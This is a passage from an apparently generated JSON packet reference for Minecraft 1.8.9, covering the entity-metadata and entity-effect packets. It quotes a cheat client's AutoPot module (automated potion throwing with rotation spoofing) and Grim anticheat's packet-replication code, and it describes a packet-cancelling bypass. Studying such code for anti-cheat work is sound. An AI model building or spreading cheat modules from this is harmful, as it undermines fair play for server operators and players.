       "code_source": "JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/tinyprotocol/packet/out/WrappedOutEntityMetadata.java",
       "variations": "Artemis and FlopAC both ship generic packet layers; Artemis additionally reads the metadata into its emulator through EmulatorPreProcessor."
      }
     ]
    }
   },
   "wiki_notes": [
    "Any metadata properties not included in the packet are left unchanged on the client rather than reset.",
    "MCP 1.8.9 S1CPacketEntityMetadata implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityMetadata; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.sendMetadataToAllAssociatedPlayers sends new S1CPacketEntityMetadata (line 314): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S1CPacketEntityMetadata/",
   "mcp_path": "net/minecraft/network/play/server/S1CPacketEntityMetadata.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S1DPacketEntityEffect",
   "hex": "0x1D",
   "dec": 29,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Effect",
   "desc": "Applies a status/potion effect to an entity.",
   "tags": [
    "entity",
    "effect",
    "potion"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": ""
    },
    {
     "name": "effectId",
     "type": "byte",
     "desc": "Potion effect ID"
    },
    {
     "name": "amplifier",
     "type": "byte",
     "desc": "Effect amplifier (0 = level 1, 1 = level 2, etc.)"
    },
    {
     "name": "duration",
     "type": "VarInt",
     "desc": "Duration in ticks (20 ticks = 1 second)"
    },
    {
     "name": "hideParticles",
     "type": "boolean",
     "desc": "Whether to hide ambient particles"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Effect ID",
     "byte",
     ""
    ],
    [
     "Amplifier",
     "byte",
     ""
    ],
    [
     "Duration",
     "VarInt",
     ""
    ],
    [
     "Hide Particles",
     "bool",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityEffect()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Effect IDs: 1=speed, 2=slowness, 5=strength, 8=jump_boost, 11=absorption, 16=wither, etc.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S1DPacketEntityEffect applies one potion effect to one entity. The server has three send sites: EntityTrackerEntry broadcasts an entity's new effect to every player watching it, EntityPlayerMP.addPotionEffect and refreshActivePotionEffect send it to the affected player directly, and ServerConfigurationManager replays effects (beacon, team) on respawn and on player join. Wire layout is entityId VarInt, effectId byte, amplifier byte, duration VarInt in ticks, hideParticles boolean. In 1.8.9 the effect is a full state push: the client stores it in the entity's active potion map and the server never asks for confirmation."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityEffect runs on the client thread via PacketThreadUtil, resolves the entity with getEntityByID, and for EntityLivingBase targets builds a PotionEffect(effectId, duration, amplifier, false, hideParticles), calls setPotionDurationMax(duration), then addPotionEffect. From that point every renderer (armor, HUD, particles, the player's own effect tab) reads the entity's activePotionMap. Effects on non-living entities are silently dropped, and an unknown entityId does nothing."
     },
     {
      "h": "Why clients touch it",
      "p": "The 8 reference clients leave S1D to vanilla; the only non-vanilla hit among them is Rise 6.1.30 and 6.2.4 NetworkAPI.java, which registers S1DPacketEntityEffect in the clientbound class table (index 72) so scripts can build and inject it via receivePacket. Effect-aware features in those clients (effect HUD rows, potion ESP) poll the entity's active potion map after vanilla applies the packet, or render from EntityLivingBase state, so no packet interception is needed. November Recode 2.0 is the exception: AutoPotModule hooks S1D as the server's implicit confirmation that a thrown splash potion landed, resetting its potion sequence only when the effect packet for the local player arrives. The PotionHUD/AntiPotion entries in older packet docs come from Sigma 3.9, which is not part of the reference set; Sigma 4.11's corpus has no S1D hit."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S1D in a receive event is a client-side potion bypass: the server keeps applying the effect and its movement math, the client simply never renders or stores it. That grants nothing for movement because speed, jump and health attributes are server-authoritative. Anti-cheats never measure this packet; it is one-directional cosmetic state. The only bandwidth note is that EntityTrackerEntry sends one S1D per effect per tracked entity on the tracking loop, so rapid effect churn is amplification surface for griefing plugins, not for cheat modules."
     }
    ],
    "overview": "Effect application is a pure server-to-client state push. The 8 reference clients have no module interest in it and every effect-aware feature reads the entity's potion map after vanilla applies the packet; the sole non-vanilla hit among them is Rise 6.x NetworkAPI registering the class for script injection. November Recode 2.0's AutoPotModule is the only module that hooks S1D, using it as the ack that a splash potion actually applied.",
    "server_handling": "EntityTrackerEntry line 418 sends S1D to each playerNetServerHandler in the watching list when a tracked entity gains an effect; EntityPlayerMP lines 922/927 send it to the affected player for addPotionEffect and refreshActivePotionEffect; ServerConfigurationManager lines 193/509 replay active effects on respawn and join. The server does no validation on the receiving side: there is no processX handler because the packet is clientbound only.",
    "protocol_notes": "The amplifier byte is the level minus one (0 means level I). Duration is in ticks on the wire; the client stores it as the effect duration and also as durationMax, so the potion icon countdown and the expiry timestamp both come from this single value. hideParticles maps to the PotionEffect showParticles flag; an S1D with the same effectId overwrites the previous entry in the active potion map rather than stacking.",
    "anticheat_landscape": "No anti-cheat in the 1.8.9 ecosystem flags S1D handling. Movement-relevant effects (speed, jump boost, slowness) are validated from server-side attribute and motion math, so a client that drops the packet only sees wrong visuals. Servers that want to detect a modified client would have to query the client for its potion state, which vanilla 1.8.9 has no packet for.",
    "modules": [
     {
      "name": "AutoPotModule (pot confirmation)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Use the S1D effect packet for the local player as the server-side confirmation that a thrown splash potion landed, so the potion sequence only advances after the effect applies.",
      "how_it_works": "The potion sequence is staged: C09 held-item change, C08 block placement for the throw, then the module sets waitingClientUpdate and waits. The S1D listener checks the packet's entity id against the local player; while waitingClientUpdate is set it resets the pot stage, restarts the delay timer and re-syncs the inventory, scheduling the next pot.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/AutoPotModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport static lol.november.listener.bus.DefaultEventPriority.HIGH;\n\nimport java.util.List;\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.utility.math.timer.Timer;\nimport lol.november.utility.player.InventoryUtils;\nimport net.minecraft.item.ItemPotion;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S1DPacketEntityEffect;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.potion.PotionEffect;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AutoPot\",\n  description = \"Automatically pots you\",\n  category = Category.COMBAT\n)\npublic class AutoPotModule extends Module {\n\n  private final Setting<Integer> delay = new Setting<>(\n    \"Delay\",\n    100,\n    1,\n    0,\n    2500\n  );\n  private final Setting<Float> health = new Setting<>(\n    \"Health\",\n    14.0f,\n    0.01f,\n    1.0f,\n    19.0f\n  );\n  private final Setting<Boolean> rotate = new Setting<>(\"Rotate\", true);\n\n  private final Timer timer = new Timer();\n  private boolean waitingClientUpdate = false;\n  private int potStage = -1;\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    if (mc.thePlayer != null) {\n      November.instance().inventory().sync();\n    }\n\n    waitingClientUpdate = false;\n    potStage = -1;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (waitingClientUpdate) {\n      return;\n    }\n\n    int slot = potSlot();\n    if (slot == -1) {\n      if (waitingClientUpdate || potStage != -1) November\n        .instance()\n        .inventory()\n        .sync();\n\n      potStage = -1;\n      waitingClientUpdate = false;\n\n      return;\n    }\n\n    if (rotate.getValue()) {\n      November\n        .instance()\n        .rotations()\n        .spoof(HIGH, 5, new float[] { mc.thePlayer.rotationYaw, 90.0f });\n    }\n\n    if (timer.passed(delay.getValue(), true)) {\n      if (potStage <= 0) {\n        potStage = 1;\n        if (November.instance().inventory().slot() != slot) {\n          mc.thePlayer.sendQueue.addToSendQueue(\n            new C09PacketHeldItemChange(slot)\n          );\n        }\n      } else if (potStage == 1) {\n        potStage = 2;\n        mc.thePlayer.sendQueue.addToSendQueue(\n          new C08PacketPlayerBlockPlacement(\n            November.instance().inventory().itemStack()\n          )\n        );\n      } else if (potStage == 2) {\n        if (!waitingClientUpdate) {\n          November.instance().inventory().sync();\n          potStage = 3;\n          waitingClientUpdate = true;\n        }\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mc.thePlayer == null) return;\n\n    if (event.get() instanceof S1DPacketEntityEffect packet) {\n      if (\n        packet.getEntityId() == mc.thePlayer.getEntityId() &&\n        waitingClientUpdate\n      ) {\n        waitingClientUpdate = false;\n        potStage = -1;\n        timer.reset();\n        November.instance().inventory().sync();\n      }\n    }\n  };\n\n  public int potSlot() {\n    for (int i = 0; i < 9; ++i) {\n      ItemStack stack = mc.thePlayer.inventory.getStackInSlot(i);\n      if (stack != null && stack.getItem() instanceof ItemPotion itemPotion) {\n        if (!ItemPotion.isSplash(stack.getItemDamage())) continue;\n\n        List<PotionEffect> effectList = itemPotion.getEffects(stack);\n        for (PotionEffect effect : effectList) {\n          Potion potion = Potion.potionTypes[effect.getPotionID()];\n\n          if (\n            mc.thePlayer.getHealth() <= health.getValue() &&\n            potion.id == Potion.heal.id\n          ) return i;\n\n          if (\n            InventoryUtils.validPotions.contains(potion) &&\n            !mc.thePlayer.isPotionActive(potion) &&\n            !potion.isInstant()\n          ) return i;\n        }\n      }\n    }\n\n    return -1;\n  }\n}\n// NOTE (AI): AutoPotModule uses S1D as a client-side confirmation that a splash potion actually applied. The potion sequence is staged: C09 held-item change, C08 block placement for the throw, then the module waits with waitingClientUpdate set. The S1D listener resolves the effect packet for the local player and, while waitingClientUpdate is set, resets the pot stage, restarts the delay timer and re-syncs the inventory. The potion's effect application is the server's implicit ack that the throw landed, which is why the module keys on S1D rather than a fixed post-throw delay: the next pot is only scheduled after the effect arrives, so a missed throw does not stall the sequence. This is the only module in the reference corpus that hooks S1D.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/AutoPotModule.java",
      "vanilla_hook": "EventPacket.In (S1D branch), EventUpdate (sequence driver).",
      "anti_cheat_notes": "None: the module only reads S1D. The effect arrives for any potion the server applies, so the ack also fires when a server-side effect lands, which only makes the sequence more robust.",
      "variations": "No other client in the reference corpus hooks S1D at module level; effect-aware features elsewhere poll the active potion map instead."
     }
    ],
    "general_hooks": "The only module in the reference corpus registering a packet receive handler for S1D is November Recode 2.0's AutoPotModule (EventPacket.In). Rise 6.x NetworkAPI exposes clientbound packets to JavaScript scripts by class-table index.",
    "client_variations": "Memeware 7.3, Nekoware v1 private, Sigma 4.11, Spicy and Tenacity 6.0 ship the vanilla handler byte-for-byte. Rise 6.1.30 and 6.2.4 additionally register the class in NetworkAPI (script/api/NetworkAPI.java). November Recode 2.0 is the only client that reads S1D in a module, inside AutoPotModule's EventPacket.In listener.",
    "related": [
     "S1EPacketRemoveEntityEffect",
     "S1CPacketEntityMetadata",
     "S20PacketEntityProperties"
    ],
    "anticheat": {
     "overview": "Server-side anticheats treat the entity-effect packet as state synchronization, not a cheat signal. The corpus splits into packet-driven potion trackers (Grim, Artemis, BetterAnticheat, Kauri, Intave) that decode S1D and mirror the effect onto their simulated player or entity, and Bukkit-polling checks (FlopAC, Hydro, Frequency) that read getActivePotionEffects and only see the effect after the server applies it. The trackers matter because movement checks must know the exact speed, jump and slowness multipliers the client has; a potion state mismatch causes false flags in speed and flight checks, so the apply packet is transaction-confirmed before the effect lands in the simulation.",
     "checks": [
      {
       "name": "Effect state replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keep the compensated entity's potion state in sync with the server so movement predictions apply the same speed, jump and slowness multipliers the client sees.",
       "how_it_works": "PacketEntityReplication listens on the packet-send side. For ENTITY_EFFECT it decodes the potion type and amplifier, cancels the packet when ViaVersion would fake an effect the client version does not support, forces a transaction when the effect targets the player, and schedules entity.addPotionEffect on the compensated entity at the transaction's real-time position. The remove branch in the same listener mirrors this with entity.removePotionEffect.",
       "detects": "No cheat directly. It is state replication: speed, jump boost and levitation modifiers on the simulated entity must match the client's, or flight and speed checks misjudge legitimate motion.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if (!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            